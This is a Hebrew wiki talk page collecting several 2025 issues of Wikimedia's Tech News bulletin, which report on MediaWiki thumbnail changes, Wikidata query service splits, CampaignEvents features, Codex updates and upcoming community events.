* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.24|MediaWiki]]

'''פגישות ואירועים'''
* [[mw:Special:MyLanguage/Wikimedia Hackathon 2025|האקטון ויקימדיה 2025]] יערך באיסטנבול שבטורקיה בין 2 ל-4 במאי. ההרשמה למשתתפים המגיעים להאקטון תיסגר ב-13 באפריל. לפני ההרשמה יש לדאוג לקבלת [https://www.mfa.gov.tr/turkish-representations.en.mfa הרשאת כניסה] או [https://www.mfa.gov.tr/visa-information-for-foreigners.en.mfa e-visa] לכניסה למדינה במידת הצורך.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/15|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W15&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:53, 7 באפריל 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28507470 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 16 ==

&lt;section begin=&quot;technews-2025-W16&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/16|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* בהמשך השבוע יעלה גודל ברירת מחדל של התמונה הממוזערת מ-220px ל-250px. זה ישנה את מראה הדפים בכל אתרי ויקי. השינוי נעשה בהתאם לבקשה של כמה קהילות מלפני שנים רבות, ולא היה אפשרי עד כה בגלל הגבלות טכניות. [https://phabricator.wikimedia.org/T355914]
* תמונות ממוזערות של קבצים נשמרים עכשיו בגדלים קבועים, והם 20, 40, 60, 120, 250, 330, 500 ו-960. אם תמונה צריכה להיות מוצגת בגודל השונה מהם, מדיה-ויקי תבחר את הגודל הקרוב הגדול מזה ותבקש מהדפדפן להקטין אותו בהתאם. במקרים כאלו שום דבר לא ישתנה ויזואלית, אבל המשתמשים עלולים לטעון תמונות כבדות במעט. אם לא משנה מה גודל התמונה המוצגת, מומלץ לבחור את אחד הגדלים התקניים כדי לפסוח על צעד מיותר בדפדפן. [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Images#Thumbnail_sizes][https://phabricator.wikimedia.org/T355914]

'''עדכונים לעורכים'''
* קרן ויקימדיה עובדת על מערכת בשם &quot;[[m:Edge Uniques|Edge Uniques]]&quot; שתפעיל [[:w:he:בדיקת A/B|בדיקות A/B]], תעזור להגן מפני [[:w:he:התקפת מניעת שירות|התקפות DDoS]], ותקל להעריך את כמות הקוראים באתרי ויקי. זה נעשה כדי לבנות בצורה יעילה יותר כלים המיועדים לעזור לקוראים ולהקל עליהם למצוא את הנדרש.
* כדי לשפר בטיחות המשתמשים יצטרך אחוז קטן מתוכם להקליד קוד חד פעמי [[mw:Special:MyLanguage/Help:Extension:EmailAuth|שיקבלו במייל]] בזמן התחברות. מומלץ [[Special:Preferences#mw-prefsection-personal-email|לבדוק]] שכתובת המייל המוזנת בערכת תקינה ומאושרת, וניתן לגשת לכתובת המייל הזאת. [https://phabricator.wikimedia.org/T390662]
* משתמשים ב[[phab:T389401|שבעה אתרי ויקי]], לא כולל בעברית, יוזמנו בשבוע הבא לקחת חלק בסקר קצר לשיפור כלים לסקירה ושחזור עריכות באתר ויקי שלהם.  השאלה תופיע בדף השינויים האחרונים וברשימת המעקב. [[mw:Special:MyLanguage/Moderator Tools|צוות כלי הניטור]] מבקש לדעת יותר על פעילויות הכוללות בדיקות עריכות חדשות באתרי ויקי שונים ולהבין האם הם תואמים למדיניות של האתרים הללו.
* החל מ-15 באפריל גרף ויקינתונים מלא לא יהיו זמין יותר ב-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;[https://query.wikidata.org/ query.wikidata.org]&lt;/bdi&gt;. מאותו יום יהיו המאמרים המדעיים זמינים באמצעות &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot; style=&quot;white-space:nowrap;&quot;&gt;[https://query-scholarly.wikidata.org/ query-scholarly.wikidata.org]&lt;/bdi&gt;, ושאר הנתונים בוויקינתונים יהיו זמנים דרך נקודת הקצה &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;[https://query.wikidata.org/ query.wikidata.org]&lt;/bdi&gt;. מדובר בחלק מהפיצול המתוכנן של גרף ויקינתונים ש[[d:Special:MyLanguage/Wikidata:SPARQL query service/WDQS backend update/September 2024 scaling update|פורסם בספטמבר 2024]]. ניתן לקבל פרטים נוספים [[d:Wikidata:SPARQL query service/WDQS graph split|בוויקינתונים]].
* הופיע הרבעון האחרון של [[m:Special:MyLanguage/Wikimedia Apps/Newsletter/First quarter of 2025|עיתון היישומונים של ויקימדיה]]. הוא כולל עדכונים, ניסויים ושיפורים שנעשו ביישומוני הניידים של ויקימדיה.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* פורסם הרבעון החדש של [[mw:Technical Community Newsletter/2025/April|עיתון הקהילה הטכני]]. הגיליון כולל הזמנה למפתחי כלים להשתתף בפגישת משוב הקהילה על ממשק משתמש ב-Toolforge שתתקיים ב-15 באפריל, מדדי קהילה מעודכנים ופוסטים חדשים בבלוגים טכניים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.25|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/16|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W16&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:25, 15 באפריל 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28540654 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 17 ==

&lt;section begin=&quot;technews-2025-W17&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/17|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[f:Special:MyLanguage/Wikifunctions:Main Page|ויקיפונקציות]] פועלת ב[[w:dag:Solɔɣu|וויקיפדיה בשפת דגבאני]] החל מ-15 באפריל. מדובר במיזם הראשון שיוכל לקרוא ל[[f:Special:MyLanguage/Wikifunctions:Introduction|פונקציות מוויקיפונקציות]] ולשלב אותן בערכים. פונקציה מקבלת פרמטר אחד או יותר ומחשבת תוצאה רצויה, למשל חיבור שני מספרים, המרת מיילים במטרים, חישוב הזמן שעבר מתאריך מסוים, או [[he:יחסה|הצגת מילים ביחסה]]. ויקיפונקציות תאפשר למשתמשים לעשות את כל זה באמצעות קריאות פשוטות ל[[f:Special:MyLanguage/Wikifunctions:Catalogue|פונקציה יציבה גלובלית]] במקום תבנית מקומית. [https://www.wikifunctions.org/wiki/Special:MyLanguage/Wikifunctions:Status_updates/2025-04-16]
* התווסף סוג חדש של שגיאות לינטר, [[Special:LintErrors/empty-heading|{{int:linter-category-empty-heading}}]], כפי שמפורט ב[[mw:Special:MyLanguage/Help:Lint errors/empty-heading|תיעוד]]. [[mw:Special:MyLanguage/Help:Extension:Linter|הרחבת לינטר]] מיועדת לזיהוי תבניות בקוד ויקי שצריך או אפשר לתקן ומספקת הנחיות לגבי סוגי הבעיות בתבניות ואיך לתקן אותן. [https://phabricator.wikimedia.org/T368722]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:37|התקלה שדווחה|כל {{formatnum:37}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* לאחר שפורסם ב-HuggingFace, זמין עכשיו dataset בשם &quot;Structured Contents&quot; גם [https://enterprise.wikimedia.com/blog/kaggle-dataset/ ב-Kaggle]. יוזמת הבטא הזאת מתמקדת בהפיכת נתוני ויקימדיה לקריאים יותר עבור מחשבים לשימושים ברמה גבוהה. גרסת הבטא מתפרסמת במקום אותו קהילות dataset פתוחים כבר מכירים, וזאת כדי לקבל משוב, מה שיעזור לשפר את המוצר כדי שייפרס בעתיד בצורה רחבה יותר. ניתן לקרוא יותר על [https://enterprise.wikimedia.com/blog/structured-contents-snapshot-api/#open-datasets המיזם Structured Contents] ועל [https://enterprise.wikimedia.com/blog/structured-contents-wikipedia-infobox/ גרסה ראשונה לשימוש חופשי].
* לא תהיה גרסת מדיה־ויקי חדשה השבוע.

'''פגישות ואירועים'''
* צוות העריכה וצוות למידת המכונה מזמינים מתנדבים מתעניינים למפגש וידאו כדי לדון ב[[mw:Special:MyLanguage/Edit check/Peacock check|בדיקת הטווס]], שהיא הבדיקה האחרונה במנגנון ה-[[mw:Special:MyLanguage/Edit check|Edit check]] שתזהה תוך כדי הקלדה שפה מפוארת מדי, פרסומית מדי, או לא ניטרלית. עורכים העובדים עם משתמשים חדשים, או כאלה שעוזרים בתיקוני שפה כזאת, או מעוניינים בדרכי השימוש בבינה המלאכותית במיזמים שלנו, מוזמנים להצטרף. [[mw:Special:MyLanguage/Editing team/Community Conversations#Next Conversation|המפגש יתקיים ב-28 אפריל 2025]] בשעות [https://zonestamp.toolforge.org/1745863200 18:00 עד 19:00 UTC] (או 21:00 עד 22:00 שעון ישראל) בזום.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/17|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W17&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:01, 22 באפריל 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28578245 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 18 ==

&lt;section begin=&quot;technews-2025-W18&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/18|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* מארגני האירועים שמארחים פעילויות משותפות ב[[m:Special:MyLanguage/CampaignEvents/Deployment status#Global Deployment Plan|אתרי ויקי רבים]], כולל בנגלית, יפנית וקוריאנית, יקבלו גישה להרחבת [[mw:Special:MyLanguage/Extension:CampaignEvents|CampaignEvents]] השבוע. כמו כן, ל[[phab:T386861|בקשת הקהילה]] המפעילים בוויקיפדיות בהן מותקנת ההרחבה יקבלו אוטומטית בעתיד הקרוב את הרשאת מארגן האירועים, ולא יצטרכו יותר להעניק אותה לעצמם כדי לנהל את האירועים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:19|התקלה שדווחה|כל {{formatnum:19}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* פריסת הגרסה המשמעותית הבאה של [[mw:Special:MyLanguage/Codex|Codex]], מערכת העיצוב של ויקימדיה, מתוכננת ל-29 באפריל 2025. העורכים הטכניים יקבלו את הגישה בשבוע של 5 במאי. העדכון יכלול מספר [[mw:Special:MyLanguage/Codex/Release_Timeline/2.0#Breaking_changes|breaking changes]] וגם [[mw:Special:MyLanguage/Codex/Release_Timeline/2.0#Visual_changes|שינויים ויזואליים]] קטנים. ההנחיות לעדכון כדי להתאים את הקוד לשינויים הללו מתועדות ב[[mw:Special:MyLanguage/Codex/Release Timeline/2.0#|דף הזה]]. בדיקות לפני הפריסה תועדו ב[[phab:T386298|פבריקטור]], ובעיות לאחר הפריסה נמצאות במעקב בפבריקטור, ב-[[phab:T392379|T392379]] וב-[[phab:T392390|T392390]].
* המשתמשים של [[wikitech:Special:MyLanguage/Help:Wiki_Replicas|ויקירפליקות]] יוכלו להבחין כי מופעי בסיס הנתונים &lt;code dir=&quot;ltr&quot;&gt;ipblocks&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;ipblocks_ipindex&lt;/code&gt; ו-&lt;code dir=&quot;ltr&quot;&gt;ipblocks_compat&lt;/code&gt; [[phab:T390767|התיישנו]]. המשתמשים יכולים לתשאל את המופעים החדשים, &lt;code dir=&quot;ltr&quot;&gt;[[mw:Special:MyLanguage/Manual:Block_table|block]]&lt;/code&gt; ו-&lt;code dir=&quot;ltr&quot;&gt;[[mw:Special:MyLanguage/Manual:Block_target_table|block_target]]&lt;/code&gt;, שמשקפים במקומם את הטבלאות החדשות בבסיס הנתונים. המופעים הישנים יוסרו ביוני 2025.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.27|MediaWiki]]

'''לעומק'''
* הרבעון החדש של [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Newsletter/2025/April|עיתון השפה והלוקליזציה]] זמין עכשיו. המהדורה כוללת סקירה של [https://test.wikipedia.org/w/index.php?title=Special:ContentTranslation&amp;campaign=contributionsmenu&amp;to=es&amp;filter-type=automatic&amp;filter-id=previous-edits&amp;active-list=suggestions&amp;from=en#/ כלי תרגום התוכן] המשופר, [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Newsletter/2025/April#Language Support for New and Existing Languages|תמיכה בשפות חדשות]], [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Newsletter/2025/April#Wiki Loves Ramadan Articles Made In Content Translation Mobile Workflow|עדכונים לגבי הקמפיין ויקי אוהבת רמדאן]], [[m:Special:MyLanguage/Research:Languages Onboarding Experiment 2024 - Executive Summary|תוצאות של ניסוי השפה למתחילים]], ניתוח לגבי גיוון נושאים בערכים, ומידע  על מפגשי הקהילה והאירועים הצפויים.

'''פגישות ואירועים'''
* [[Special:MyLanguage/Grants:Knowledge_Sharing/Connect/Calendar|מרפאת למידה לתקשורת]] תתקיים ב-[https://zonestamp.toolforge.org/1745937000 29 באפריל ב-14:30 שעון UTC] (או 17:30 שעון ישראל), והיא תתמקד הפעם בנושא &quot;הבנה וניווט בין עימותים במיזמי ויקיפדיה&quot;. ניתן [[m:Special:MyLanguage/Event:Learning Clinic %E2%80%93 Understanding and Navigating Conflict in Wikimedia Projects (Part_1)|להירשם]] כבר עכשיו.
* [[mw:Special:MyLanguage/Wikimedia Hackathon 2025|האקטון ויקימדיה 2025]] שמיועד לעזור לקהילה הטכנית בעולם לתקשר, לבצע סערת מוחות, ולפרוץ לפרויקטים קיימים, יתקיים בין 2 ל-4 במאי באיסטנבול שבטורקיה.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/18|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W18&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:32, 28 באפריל 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28585685 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 19 ==

&lt;section begin=&quot;technews-2025-W19&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/19|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* קרן ויקימדיה פרסמה את הטיוטה האחרונה של [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026|התוכנית השנתית]] לשנה הקרובה, מיוני 2025 עד יוני 2026. היא כוללת [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026|סיכום פעילות]], שפורסם גם ב-[[diffblog:2025/04/25/sharing-the-wikimedia-foundations-2025-2026-draft-annual-plan/|Diff]], פרטים לגבי שלושת [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Goals|היעדים]] ([[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Product &amp; Technology OKRs|תשתית]], [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Goals/Volunteer Support|תמיכה במתנדבים]] ו[[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Goals/Effectiveness|יעילות]]), [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Global Trends|טרנדים גלובליים]], וגם [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Budget Overview|תקציב]] ו[[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026/Financial Model|מודל פיננסי]]. משוב ושאלות מתקבלים בברכה ב[[m:Talk:Wikimedia Foundation Annual Plan/2025-2026|דף השיחה]] עד סוף מאי.

'''עדכונים לעורכים'''
* באתרי ויקי בהם פועלת [[m:Special:MyLanguage/CampaignEvents/Deployment status|הרחבת CampaignEvents]] לארגון אירועים הופיעו שני שיפורים:
** המפעילים יכולים עכשיו [[mw:Special:MyLanguage/Help:Extension:CampaignEvents/Registration/Permitted namespaces|לבחור את מרחבי השם]] בהם מותר [[m:Special:MyLanguage/Event Center/Registration|לרשום אירועים]] באמצעות [[mw:Special:MyLanguage/Community Configuration|הרחבת Community Configuration]]. ברירת המחדל היא מרחב השם Event, אבל ניתן להוסיף עוד, דוגמת Project או WikiProject. באמצעות השינוי הזה קהילות שונות, למשל חברי מיזם מסוים, יכולות להשתמש ברישום האירועים בצורה קלה יותר עבור הפעילות המשותפת שלהן.
** העורכים יכלים עכשיו [[mw:Special:MyLanguage/Transclusion|להכיל]] את דף שיתוף הפעולה בדפי ויקי, כפי שמוסבר [[mw:Special:MyLanguage/Help:Extension:CampaignEvents/Collaboration list/Transclusion|כאן]]. דף שיתוף הפעולה הוא רשימת אירועים אוטומטית של אירועים ומיזמים באתרי ויקי, שניתן לגשת אליה באמצעות הדף &quot;{{#special:AllEvents}}&quot;, כמו ב[[w:en:Special:AllEvents|דוגמה המצורפת]]. מעכשיו ניתן להציג את דף שיתוף הפעולה בכל מיני דפי ויקי, כמו למשל העמוד הראשי, דף מיזם, דף נלווה, דף אירוע או אף בדפי משתמש.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* על המפתחים המשתמשים בספריית &lt;code dir=ltr&gt;moment&lt;/code&gt; בגאדג'טים ובסקריפטים לעבור על הקוד שלהם ולעבור לחלופות כמו ספריית &lt;code dir=ltr&gt;Intl&lt;/code&gt; או ספרייה חדשה בשם &lt;code dir=ltr&gt;mediawiki.DateFormatter&lt;/code&gt;. הספרייה &lt;code dir=ltr&gt;moment&lt;/code&gt; התיישנה ותתחיל לשלוח הודעות על כך לקונסול. ניתן להריץ חיפוש גלובלי של השימושים הקיימים ולשאול שאלות רלוונטיות ב[[phab:T392532|פבריקטור]].
* על המפתחים של הכלים שמבצעים שאילתות לטבלאות שמירת המושגים של ויקינתונים, &lt;code dir=ltr style=&quot;white-space: nowrap;&quot;&gt;wbt_*&lt;/code&gt;, לעדכן את הקוד שלהם כדי להתחבר לקלסטר נפרד בבסיס הנתונים, זאת כתוצאה מפיצול הטבלאות לקלסטר הנוסף הזה. גם הכלים המתשאלים את הטבלאות הללו באמצעות ויקירפליקות צריכים ניתוב לקלסטר החדש. ניתן לקרוא תיעוד ולמצוא קישורים רלוונטיים [[wikitech:News/2025 Wikidata term store database split|כאן]]. [https://phabricator.wikimedia.org/T390954]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.44/wmf.28|MediaWiki]]

'''לעומק'''
* התפרסם הגיליון האחרון של [[mw:Special:MyLanguage/Extension:Chart/Project/Updates|עיתון מיזם ה-Chart]]. הוא כולל עדכונים על ההכנות להרחבת הפריסה לאתרי ויקי נוספים בשבוע המתחיל ב-6 במאי, והתרחבות בשבועות שלאחר מכן, כמו גם בחינת סינון והמרת המידע המקורי.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/19|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W19&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:15, 6 במאי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28665011 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 20 ==

&lt;section begin=&quot;technews-2025-W20&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/20|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* הקישור &quot;[[m:Special:MyLanguage/Wikimedia URL Shortener|קבלת כתובת מקוצרת]]&quot; בתפריט הכלים כולל עכשיו גם אפשרות לקבלת [[phab:T393309|קוד QR]]. מבקרי האתרים של הקרן יכולים להשתמש בו באמצעות סריקה או הורדה לשיתוף וגישה מהירים ונוחים לתוכן מאתרי ויקימדיה.

'''עדכונים לעורכים'''
* קרן ויקימדיה עובדת על מערכת בשם &quot;[[m:Edge Uniques|Edge Uniques]]&quot; שתפעיל [[:w:he:בדיקת A/B|בדיקות A/B]], תעזור להגן מפני [[:w:he:התקפת מניעת שירות|התקפות DDoS]], ותקל להעריך את כמות הקוראים באתרי ויקי. זה נעשה כדי לבנות בצורה יעילה יותר כלים המיועדים לעזור לקוראים ולפשט את החיפושים שלהם. ידיעות הטכנולוגיה כתבו על כך [[m:Special:MyLanguage/Tech/News/2025/16|בעבר]]. הפריסה תהיה הדרגתית. חלק מהמשתמשים יקבלו עוגיית Edge Uniques בשבוע הבא. ניתן לדון בנושא ב[[m:Talk:Edge Uniques|דף השיחה]].
* החל מ-19 במאי 2026 מארגני האירועים באתרי ויקי בהם הופעלה הרחבת [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]] יוכלו [[m:Special:MyLanguage/Event Center/Registration|לרשום אירועים]] במרחבי השם Project, דוגמת &quot;ויקיפדיה:&quot; או &quot;Wikidata:&quot;. כתוצאה מכך הקהילות לא יצטרכו מפעילים לשימוש בתכונה הזאת. אתרי ויקי שלא מעוניינים בזה יכולים להסיר או להוסיף מרחבי שם מותרים בדף [[Special:CommunityConfiguration/CampaignEvents]].
* במסגרת הקרן נפתחה {{int:project-localized-name-group-wikipedia/he}} חדשה בשפת [[d:Q36720|Nupe]],&amp;rlm; [[w:nup:|&lt;code&gt;w:nup:&lt;/code&gt;]]. השפה באה במקור מאזור צפון מרכזי של ניגריה. דוברי השפה מוזמנים לתרום ל[[w:nup:Tatacin feregi|וויקיפדיה החדשה]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* המפתחים מקבלים גישה לוויקיפדיה ההולנדית, שמצטרפת לאנגלית, גרמנית, צרפתית, ספרדית, איטלקית ופורטוגזית, באמצעות מערכת בשלב בטא [https://enterprise.wikimedia.com/docs/snapshot/#structured-contents-snapshot-bundle-info-beta Structured Contents snapshots]. התוכן כולל תקצירים מפורסרים, תיאורים, תמונות ראשיות, תיבות מידע, פרקי ערכים ומקורות.
* נקודת הקצה של REST API &amp;rlm;&quot;&lt;code dir=&quot;ltr&quot;&gt;/page/data-parsoid&lt;/code&gt;&quot; יצאה מכלל שימוש ותוכרז כמיושנת. היא אמורה [[phab:T393557|להיסגר]] ב-7 ביוני 2025.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.1|MediaWiki]]

'''לעומק'''
* &quot;[https://wikitech.wikimedia.org/wiki/News/2025_Cloud_VPS_VXLAN_IPv6_migration IPv6 support]&quot; היא רשת ענן וירטואלית חדשה שבעתיד תגדיל משמעותית את הסקלביליות, בטיחות וקריאת של פלטפורמות הקרן. התורמים הטכניים המעוניינים בפרטים מוזמנים לקרוא את [https://techblog.wikimedia.org/2025/05/06/wikimedia-cloud-vps-ipv6-support/ הפוסט בבלוג] כדי לקבל מבט עמוק יותר על הדרך לקראת IPv6.

'''פגישות ואירועים'''
* המהדורה השנייה לשנת 2025 של [[m:Special:MyLanguage/Afrika Baraza|Afrika Baraza]], הפלטפורמה הווירטואלית לתקשורת של משתמשי ויקימדיה באפריקה, תתקיים ב-[https://zonestamp.toolforge.org/1747328400 15 במאי בשעה 17:00 UTC]. היא תתמקד בדיון אודות [[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2025-2026|תכנון שנתי והתקדמות של ויקימדיה]].
